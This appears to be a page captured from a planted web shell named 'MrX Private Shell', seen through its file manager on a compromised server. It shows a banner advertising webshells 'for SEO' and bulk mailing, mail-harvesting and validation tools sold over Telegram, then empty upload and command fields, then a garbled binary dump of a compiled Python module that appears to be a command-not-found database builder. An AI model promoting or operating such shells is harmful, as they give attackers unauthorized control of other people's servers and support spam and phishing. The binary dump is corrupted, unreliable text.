__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
�

{��c�/���SSKrSSKrSSKrSSKrSSKrSSKrSSKrSSKrSSKr\R"5 SSSSSSSS.r
S	r"S
S5rSr
"S
S5r\S:Xa�\R "\R"S9 \"\R&5S:aX\"S\R&S-5 \"S\R&S-5 \"S\R&S5 \R*"S5 \"\R&SS5r\R/\R&S5 \R0R35Hurr\R8"\<S\<35 M! gg)�N�x�d�P�<�(�)�main�universe�contribznon-free-firmware�
restrictedznon-free�
multiversea�
           CREATE TABLE IF NOT EXISTS "commands" 
           (
            [cmdID] INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL,
            [pkgID] INTEGER NOT NULL,
            [command] TEXT,
            FOREIGN KEY ([pkgID]) REFERENCES "pkgs" ([pkgID])
           );
           CREATE TABLE IF NOT EXISTS "packages"
           (
            [pkgID] INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL,
            [name] TEXT,
            [version] TEXT,
            [component] TEXT,
            [priority] INTEGER
           );
           CREATE INDEX IF NOT EXISTS idx_commands_command ON commands (command);
           CREATE INDEX IF NOT EXISTS idx_packages_name ON packages (name);
c�&�\rSrSrSrSrSrSrg)�measure�=c��XlX lg�N)�what�stats)�selfrrs   �</usr/lib/python3/dist-packages/CommandNotFound/db/creator.py�__init__�measure.__init__>s���	��
�c�8�[R"5Ulgr)�time�now)rs r�	__enter__�measure.__enter__As���9�9�;��rc���URUR;aSURUR'URUR==[R"5UR-
-
ss'g)Nr)rrrr)r�argss  r�__exit__�measure.__exit__CsK���y�y�D�J�J�&�$%�D�J�J�t�y�y�!��
�
�4�9�9������t�x�x�!7�7�r)rrrN)�__name__�
__module__�__qualname__�__firstlineno__rrr!�__static_attributes__�rrrr=s����8rrc��[R"U5 g![a)nUR[R:waeSnAgSnAff=fr)�os�remove�OSError�errno�ENOENT)�path�es  r�rm_fr1Is:���
�	�	�$������7�7�e�l�l�"��#���s��
A�A�Ac�\�\rSrSrSrSrSrSrSrSr	Sr
S	rS
rSr
SrS
rSrg)�	DbCreator�Qc��Xl[R"5SUlS[R"5S.Ulg)Nr)�total�
total_time)�files�apt_pkg�get_architectures�primary_archrr)rr8s  rr�DbCreator.__init__Rs/���
�#�5�5�7��:��� �t�y�y�{�;��
rc��US-nURU5(d[R"SU5 gUS-n[R"U5nUR[5 URU5 SSS5 [U5 [R"X15 [!US5n["R$"UR'5U5 SSS5 g![RaHn[U5S:Xa2[R"SU5 [R"S5 SnAN�UeSnAff=f!,(df   N�=f!,(df   g=f)Nz	.metadataz0%s does not require an update (inputs unchanged)z.tmpzdatabase is lockedz*%s is locked by another process. Ignoring.r�w)�_db_update_needed�logging�info�sqlite3�connect�
executescript�
create_db_sql�_fill_commands�OperationalError�str�warning�sys�exitr1r*�rename�open�json�dump�_calc_input_metadata)r�dbname�
metadata_file�tmpdb�conr0�fps       r�create�DbCreator.createVs
���{�*�
��%�%�m�4�4��L�L�B�F�
L���v�
��
�_�_�U�
#�s�
��!�!�-�0��#�#�C�(�$�	
�]��
�	�	�%� �
�-��
%���I�I�d�/�/�1�2�6�&�
%���+�+�	
��q�6�1�1��O�O�D�e�M��H�H�Q�K�K��G��	
��	$�
#��&&�
%�sB�D:�&C�,&E�D7�/<D2�+D:�0D2�2D7�7D:�:
E�
Ec�F�[RRU5(dg[U5n[R
"U5nSSS5 WUR
5:g$!,(df   N!=f![a!n[R"SX5 SnAgSnAff=f)NTzcannot read %s: %s)
r*r/�existsrMrN�loadrP�	Exceptionr@rI)rrRrU�metar0s     rr?�DbCreator._db_update_neededrsy���w�w�~�~�m�,�,��	��m�$���y�y��}��%��4�4�4�6�6�6�%�$���	��O�O�0�-�C���	�s.�A5�A$�	A5�$
A2�.A5�5
B �?B�B c���0nURH`n[R"U5nURURUR
URURURS.X'Mb U$)N)�st_ino�st_dev�st_uid�st_gid�st_size�st_mtime)	r8r*�statr_r`rarbrcrd)rr\�p�sts    rrP�DbCreator._calc_input_metadata|s\�������A������B��)�)��)�)��)�)��)�)��:�:��K�K�
�D�G���rc�~�URH�n[R"SSU/[RS9nSU;aUR	XUR
5 OUR
XR
5 UR5S:wa.[R"URSRU5S9eSSS5 M� [R"5URS-
URS'[R"S	URS
URS4-5 g!,(df   GM/=f)Nz/usr/lib/apt/apt-helperzcat-file)�stdout�Contentsrz#/usr/lib/apt/apt-helper cat-file {})�
returncode�cmdr7zprocessed %i packages in %.2fsr6)r8�
subprocess�Popen�PIPE�_parse_single_contents_filerj�_parse_single_commands_file�wait�CalledProcessErrorrl�formatrrr@rA)rrT�f�subs    rrF�DbCreator._fill_commands�s�����A��!�!�#<�j�!�"L�U_�Ud�Ud�e�il���?��4�4�S�S�Z�Z�H��4�4�S�*�*�E��8�8�:��?�$�7�7�3�>�>�=b�=i�=i�jk�=l�n�n�#�f�e��$(�9�9�;����L�1I�#I��
�
�<� ����5��J�J�w�����L�!9�9;�;�	<�f�e�s�BD,�,
D<	c�H�URSX#45R5nU$)Nz�
            SELECT packages.pkgID, name, version 
            FROM commands 
            INNER JOIN packages on packages.pkgID = commands.pkgID
            WHERE commands.command=? AND packages.name=?;
            ��execute�fetchone)rrT�command�pkgname�
already_in_dbs     r�_in_db�DbCreator._in_db�s1�����
�
�#�
%�&.�X�Z�
	��rc�P�URSU45 URSU45 g)Nz"DELETE FROM packages WHERE pkgID=?z"DELETE FROM commands WHERE pkgID=?�r{)rrT�pkgids   r�
_delete_pkgid�DbCreator._delete_pkgid�s$�����8�5�(�D����8�5�(�Drc�^�URSU45R5nU(aUS$g)Nz'SELECT pkgID from packages WHERE name=?rrz)rrTr~�have_pkgs    r�
_get_pkgid�DbCreator._get_pkgid�s2���;�;�5��z�C�CK�8�:�	���A�;��rc�B�URSX#XE45nUR$)Nzt
            INSERT INTO packages (name, version, component, priority)
            VALUES (?, ?, ?, ?);
            )r{�	lastrowid)rrTr~�version�	component�priority�curs       r�_insert_package�DbCreator._insert_package�s+���K�K���I�8�
:���}�}�rc�*�URSX#45 g)NzF
        INSERT INTO commands (command, pkgID) VALUES (?, ?);
        r�)rrTr}�pkg_ids    r�_insert_command�DbCreator._insert_command�s�������
�	 rc��[R"U5nUR5(dgURSnUR	S5(agURSnURSnUS:waX`R
:wagUR5(Ga�URS==S-
ss'URSnURRS	5(aURS	nURRS
S5n[5n	URRSS5(a4[URRSS5RS
55n	URSRS
5GH�n
X�;aM[SUR5 URXU5nSSS5 W(a�[R"X�S5S:�aM[R"SU
-5 [SUR5 URXS5 SSS5 O![R"SU
<SU<S35 M�[R"SU
<SU<SU<SU<S3	5 [SUR5 UR!X5nSSS5 W(dp["RUS5n
U
[%URRSS55-
n
[SUR5 UR'XX�U
5nSSS5 [SUR5 UR)XU5 SSS5 GM� UR5(aGM�gg!,(df   GN�=f!,(df   GN?=f!,(df   N�=f!,(df   N�=f!,(df   GMB=f) N�suitez
-backportsr��arch�allr6��namezvisible-pkgnamer��zignore-commands�,�commands�sql_already_db�rz+replacing exiting %s in DB (higher version)�sql_delete_already_in_db�	skipping � from � (lower/same version)�adding �/� (�)�sql_have_pkgzpriority-bonus�0�sql_insert_pkg�sql_insert_cmd)r9�TagFile�step�section�endswithr;r�get�set�splitrr��version_comparer@�debugr�r��component_priorities�intr�r�)rrTrU�tagfr�r�r�r~r��ignore_commandsr}rr�r�s              rrr�%DbCreator._parse_single_commands_file�s������r�"���y�y�{�{���l�l�7�#���>�>�,�'�'���,�,�{�+�	�
�\�\�&�
!���5�=�T�%6�%6�6���i�i�k�k��J�J�w��1�$���L�L��(�G��|�|��� 1�2�2��,�,�'8�9���L�L�$�$�Y��3�G��E�O��|�|��� 1�2�6�6� #�D�L�L�$4�$4�5F��$K�$Q�$Q�RU�$V� W���<�<�
�3�9�9�#�>���-���-�t�z�z�:�"&�+�+�c�G�"D�M�;� ��.�.�w�a�8H�I�A�M��
�
�&S�V]�&]�^�$�%?����L� �.�.�s�!�4D�E�M�L� �
�
�T[�]b�&c�d� ��
�
��W�g�u�6�7��^�T�Z�Z�8�!�_�_�S�:�F�9��3�7�7�	�1�E�H���D�L�L�$4�$4�5E�s�$K� L�L�H� �!1�4�:�:�>�!%�!5�!5�c�G�X`�!a��?��-�t�z�z�:��(�(��v�>�;�:�5?��i�i�k�k� ;�:��M�L��9�8��
?�>��:�:�s<�,M7�N	�N�N,�=N=�7
N	�	
N	�
N)	�,
N:	�=
O
	c
��SnUGHGnURS5nURS5(dDURS5(d.URS5(dURS5(dMoURSS5upg[R
R
U5nURS5GH�nUR5RSS5up�[U	RS55S
:XaU	RS5up�OSn
Sn[SUR5 URXU5nSSS5 W(a"[R "SU<SU<S35 M�[R "SU<SU<SU<SU<S3	5 [SUR5 UR%X5n
SSS5 W
(dH[&R)U
S
5n[SUR5 UR+XX�U5n
SSS5 [SUR5 UR-XU
5 SSS5 GM� GMJ g![a GM[f=f![a UR5nS	n	GN�f=f!,(df   GNO=f!,(df   N�=f!,(df   N�=f!,(df   GM=f)Nzutf-8zusr/sbinzusr/bin�bin�sbinr�r�r��unknownr�r	r�rr�r�r�r�r�r�r�r�r�)�decode�
startswithr��
ValueErrorr*r/�basename�strip�rsplit�lenrrr�r9r�r@r�r�r�r�r�r�r�)rrTrvrUr��lr}�pkgnamesr~r�r�r�rr�r�s               rrq�%DbCreator._parse_single_contents_file�s1�����A�����!�A��L�L��,�,����Y�0G�0G��L�L��'�'�1�<�<��+?�+?��
�$%�G�G�D�!�$4�!���g�g�&�&�w�/�G�#�>�>�#�.��(�'.�}�}��'=�'=�c�1�'E�$�G��w�}�}�S�)�*�a�/�)0���s�);�&�I�w� &�I����-�t�z�z�:�"&�+�+�c�G�"D�M�;� ��
 �
�
�T[�]b�&c�d� ��
�
��W�g�u�6�7��^�T�Z�Z�8�!�_�_�S�:�F�9��3�7�7�	�1�E�H� �!1�4�:�:�>�!%�!5�!5�c�G�X`�!a��?��-�t�z�z�:��(�(��v�>�;�:�G/����
��
��"�(�%�m�m�o�G�'�G�(��;�:��9�8��?�>��:�:�sT�5I�>"I$�,J�-J�:J*�,J;�
I!� I!�$J�J�
J�
J'�*
J8�;
K)r8r;rN)r#r$r%r&rrVr?rPrFr�r�r�r�r�rrrqr'r(rrr3r3Qs@��<�7�8	��
<��E��� �7?�r4?rr3�__main__)�level�z%usage: %s <output-db-path> <files...>z. e.g.: %s commands.db ./dists/*/*/*/Commands-*zP e.g.: %s /var/lib/command-not-found/commands.db  /var/lib/apt/lists/*Commands-*r�r�z: )r-rNr@r*rBrnrJrr9�initr�rErr1r3r#�basicConfig�INFOr��argv�printrK�colrVr�itemsre�amountr�r(rr�<module>r�s?��
���	���
�������
����������
�:	8�	8��O?�O?�d�z�����g�l�l�+�
�3�8�8�}�q��
�5������C�D�
�>����!��L�M�
�`�be�bj�bj�kl�bm�n������
�C�H�H�Q�R�L�
!�C��J�J�s�x�x��{���	�	���)���f��
�
�$��/�0�*�r

Filemanager

Name Type Size Permission Actions
__init__.cpython-313.pyc File 211 B 0644
creator.cpython-313.pyc File 15.84 KB 0644
db.cpython-313.pyc File 1.6 KB 0644
Filemanager